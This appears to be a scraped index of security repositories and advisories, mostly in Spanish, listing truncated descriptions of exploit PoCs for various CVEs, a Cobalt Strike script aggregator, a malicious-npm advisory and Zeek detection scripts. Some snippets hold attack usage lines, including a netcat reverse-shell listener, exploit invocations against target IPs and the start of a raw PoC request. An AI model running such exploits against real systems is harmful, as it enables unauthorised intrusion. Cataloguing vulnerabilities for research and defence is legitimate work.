Ubuntu-CVE-2026-3888-patcher

🛡️ Script de Remediación CVE-2026-3888 Herramienta de Aviso de Seguridad de Many Hat Group Descripción General Este script ha sido desarrollado por Many Hat Group para identificar y remediar rápidamente sistemas afectados por CVE-2026-3888 en entornos Ubuntu. Está diseñado para su uso en flotas...

DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002

fofa语法：title="DataEase" poc: "POST /de2api/datasource/validate HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135"" User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like...

Kintol_Shell_Upload

KintolShellUpload python 2.7...

CVE-2023-51764

CVE-2023-51764 PoC de CVE-2023-51764 Enlace: https://github.com/duy-31/CVE-2023-51764 1. Añadir autenticación SMTP 2. El script solo se ha probado en Kali 3. No utilice el script con fines ilegales...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Detecta Oracle E-Business Suite CVE-2025-61882. Detección: comprobaciones en múltiples niveles — fingerprinting, verificación de versiones, pruebas de endpoints y SSRF, análisis de tiempos y explotación controlada para 4 resultados de alta confianza. Por defecto...

copy-fail-CVE-2026-31431

Uso Compila estáticamente para poder usarlo en cualquier entorno Linux sin necesidad de Python ni librerías adicionales. gcc -o exploit exploit.c -lz -static ./exploit O ejecuta el script de Python python3 exploit.py...

CVE-2026-24061

Exploit CVE-2026-24061 - Versión funcional v0.1 Uso Ejecute el script con un host objetivo: python3 exploit.py 192.168.1.1 -p 2323 --debug Argumentos argumentos posicionales: target IP o nombre de host del objetivo opciones: -h, --help muestra este mensaje de ayuda y sale -p, --port PORT Puerto p...

CVE-2026-23744

CVE-2026-23744 script de python para explotar CVE-2026-23744 cómo usarlo : lo primero que debes hacer es abrir dos terminales primer terminal -- nc -nvlp 4444 segundo terminal -- python CVE-2026-23744.py -lhost tu ip -url url objetivo para el menú de ayuda : python CVE-2026-23744.py -h...

CVE-2026-23744-script

Un script para CVE-2026-23744, que explota MCPJam Inspector versiones = 1.4.2. Basado en el comando curl utilizado aquí: https://github.com/advisories/GHSA-232v-j27c-5pp6 Asegúrate de que tu archivo /etc/hosts sea correcto y apunte al dominio/vhost del objetivo...

CVE-2025-55315-

Investigación de explotación de CVE-2025-55315 Este proyecto contiene el código de investigación y análisis de la vulnerabilidad CVE-2025-55315. Descripción general del proyecto Este repositorio se utiliza para investigar y analizar los detalles técnicos, el alcance del impacto y las posibles...

MAL-2026-17690 Malicious code in @galicia-toolkit/spa-build-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0d7fc29f59609ed2b5c7b54243b740e1daa001f3c76c4d1391edd85a528a4688 The package's postinstall script runs automatically on npm install and collects installer-side host and credential data: hostname, username, network...

Aggressor-Aggregator

Aggressor Aggregator Descripción Un script auxiliar para consolidar repositorios de Aggressor Script y Beacon Object File BOF en un único CNA para Cobalt Strike. Diseñado para la automatización en entornos de red team CTF con configuración/destrucción frecuente de clientes de operador. Este scrip...

CVE-2026-52102-PoC

CVE-2026-52102 - PoC de Exploit Una Prueba de Concepto PoC que demuestra CVE-2026-52102. Uso python3 CVE-2026-52102-PoC.py Objetivos Añade un objetivo por línea al archivo targets.txt. Nota: Solo incluye sistemas que te pertenezcan o para los que tengas autorización explícita para probar. Ejemplo...

CVE-2018-15473-User-Enumeration-

CVE-2018-15473 – Enumeración de Usuarios SSH Una herramienta en Python desarrollada por mí para identificar nombres de usuario SSH válidos explotando CVE-2018-15473. Información del Objetivo Servicio: SSH Versión: OpenSSH 5.8p1 Debian 1ubuntu3 Sistema Operativo: Ubuntu Linux Protocolo: SSH-2.0...

CVE-2022-24834-

CVE-2022-24834 python exploit.py -url -port...

google-osconfig-privesc

Resumen El proceso googleosconfigagent es un componente de la herramienta GoogleCloudPlatform https://github.com/GoogleCloudPlatform/osconfig que se ejecuta en cada VM por defecto. El agente se ejecuta como root y es responsable de algunos servicios controlables por el usuario, incluyendo OS conf...

Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution

Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution - Bug de Cisco: CSCur90888 Título del Exploit : Cisco UCS Manager - 2.21d - Ejecución Remota de Comandos Descripción : Un script CGI no especificado en Cisco FX-OS anterior a 1.1.2 en dispositivos Firepower 9000 y Cisco Unified Computing System UC...

php-8.1.0-dev-backdoor-rce

Ejecución remota de código mediante backdoor en PHP 8.1.0-dev Script de shell del sistema con backdoor para PHP 8.1.0-dev La versión de PHP 8.1.0-dev se publicó con un backdoor el 28 de marzo de 2021, pero el backdoor fue rápidamente descubierto y eliminado. Si esta versión de PHP se ejecuta en u...

Zeek-Endpoint-Enrichment-conn

Zeek-Endpoint-Enrichment-conn Enriquece el conn.log con datos de EDR Para documentación detallada, consulte https://docs.corelight.com...

icannTLD

icannTLD Corelight-update ahora se puede utilizar para crear y mantener los archivos de entrada de icannTLD. Descripción del script Script de Zeek que utiliza la lista oficial de dominios de nivel superior TLD de ICANN con el Input Framework para extraer la información relevante de una consulta D...